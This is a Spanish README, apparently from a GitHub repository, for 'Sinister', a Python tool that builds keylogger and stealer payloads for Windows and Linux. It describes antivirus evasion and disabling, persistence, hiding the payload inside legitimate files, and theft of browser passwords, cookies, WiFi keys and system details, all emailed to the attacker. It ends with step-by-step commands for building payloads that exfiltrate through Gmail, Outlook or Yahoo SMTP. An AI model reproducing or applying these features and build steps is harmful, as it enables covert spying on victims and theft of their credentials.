Sinister

                    Este pequeño script de Python puede hacer un trabajo realmente impresionante.

Sinister es un generador de Keylogger para Windows/Linux, que envía registros de teclas y capturas de pantalla por correo electrónico junto con otra información jugosa de la víctima, escrito en Python 3.

Descargo de responsabilidad

:computer: Este proyecto fue creado solo con fines benéficos y de uso personal.

ESTE SOFTWARE SE PROPORCIONA "TAL CUAL" SIN GARANTÍA DE NINGÚN TIPO. USTED PUEDE USAR ESTE SOFTWARE BAJO SU PROPIO RIESGO. EL USO ES DE COMPLETA RESPONSABILIDAD DEL USUARIO FINAL. LOS DESARROLLADORES NO ASUMEN NINGUNA RESPONSABILIDAD Y NO SON RESPONSABLES DE NINGÚN USO INDEBIDO O DAÑO CAUSADO POR ESTE PROGRAMA.

Características

• Funciona en Windows/Linux
• Notificar nueva víctima por correo electrónico
• Indetectable
• Persistencia
• Validación de credenciales de correo antes de la generación del payload.
• Puede recibir keylogs en cualquier proveedor de correo como GMAIL, YAHOO, OUTLOOK, SMTP personalizado.

• Servidor/Puerto SMTP

Nombre del servidor	Servidor SMTP	Puerto SMTP
GMAIL	smtp.gmail.com	587
OUTLOOK	smtp-mail.outlook.com	587
YAHOO	smtp.mail.yahoo.com	587

• Envía captura de pantalla de la pantalla del PC de la víctima por correo electrónico
• Crea un binario ejecutable con cero dependencias
• Crea un payload de tamaño reducido (~5mb) con funcionalidades avanzadas
• Ofusca el payload antes de generarlo, evadiendo así algunos antivirus más
• El payload generado está codificado en base64, lo que hace extremadamente difícil la ingeniería inversa del payload
• Función para matar el antivirus en el PC de la víctima e intentar deshabilitar la seguridad
• Interfaz colorida impresionante para generar payload
• Del lado del atacante: al crear el payload, el script detecta automáticamente las dependencias faltantes y las instala
• Distingue los datos de registro según el nombre de la ventana activa (Consulte la imagen para una mejor comprensión)
• Capacidad de agregar un icono personalizado al archivo malicioso
• Binder integrado que puede vincular el keylogger a cualquier archivo [.pdf, .txt, .exe, etc.], ejecutando el archivo legítimo en primer plano y los códigos maliciosos en segundo plano como un servicio.
• Verifica si ya hay una instancia en ejecución en el sistema; si se encuentra una instancia en ejecución, solo se ejecuta el archivo legítimo [Prohibidor de instancias múltiples para evitar recibir registros de correo duplicados].
• El atacante puede crear/compilar para Windows/Linux OS usando un sistema Linux, pero solo puede crear/compilar un ejecutable para Windows usando una máquina Windows
• Recupera contraseñas guardadas del sistema de la víctima y las envía al atacante.

Stealer integrado puede robar estas cosas :
Navegador Chrome (contraseñas guardadas)
WiFi (contraseña guardada)
Cookies de Chrome (Datos de inicio de sesión, Cookies, Historial)
Cookies de Firefox (cookies.sqlite)

Nota: El stealer personalizado está codificado, no depende de LaZagne

• Obtiene y envía información útil del dispositivo de la víctima

Estas cosas se obtienen y se envían:
Sistema operativo
Nombre del equipo
Nombre de usuario
IPv4 pública

• Si su payload no puede ejecutarse, especifique --debug para ejecutar el exe en primer plano con CMD

Importante

El 30 de mayo de 2022, Google eliminó la función de aplicaciones menos seguras, por lo que en lugar de la contraseña de Gmail:

• Habilite 2FA en su Gmail de atacante
• Cree una contraseña específica para la aplicación
• Use esa contraseña específica de la aplicación al crear el payload.
• Cómo crear una contraseña específica de la aplicación: Haga clic aquí

Probado en

Kali Linux - EDICIÓN ROLLING

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Requisitos previos

• Python 3.X
• Algunos módulos externos

Cómo usar en Linux

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Navigate to Sinister folder
$ cd Sinister

# Installing dependencies
$ bash installer_linux.sh

*** Note When The Python Installer DialogBox Appear while executing installer_linux.sh ***
    * Click on custom install 
    * Select Path to : C:/Python37-32
    ### So that the python is installed in this path (Inside Wine) : ~/.wine/drive_c/Python37-32

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x Sinister.py
$ python3 Sinister.py --help

# Making Payload/RAT
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using GMAIL SMTP Server, Port Configuration (Default SMTP Server = smtp.gmail.com, Default SMTP Port = 587)
$ python3 Sinister.py -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload using OUTLOOK SMTP Server, Port Configuration
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp-mail.outlook.com -y 587 -l -o output_file_name --icon icon_path

# Making Payload using YAHOO SMTP Server, Port Configuration
$ python3 Sinister.py -e [email protected] -p YourEmailPass -x smtp.mail.yahoo.com -y 587 -l -o output_file_name --icon icon_path

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Cómo usar en Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/Sinister.git

# Go into the repository
$ cd Sinister

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open Sinister.py in Text editor and Configure Line 16 WINDOWS_PYTHON_PYINSTALLER_PATH = "C:/Python37-32/Scripts/pyinstaller.exe"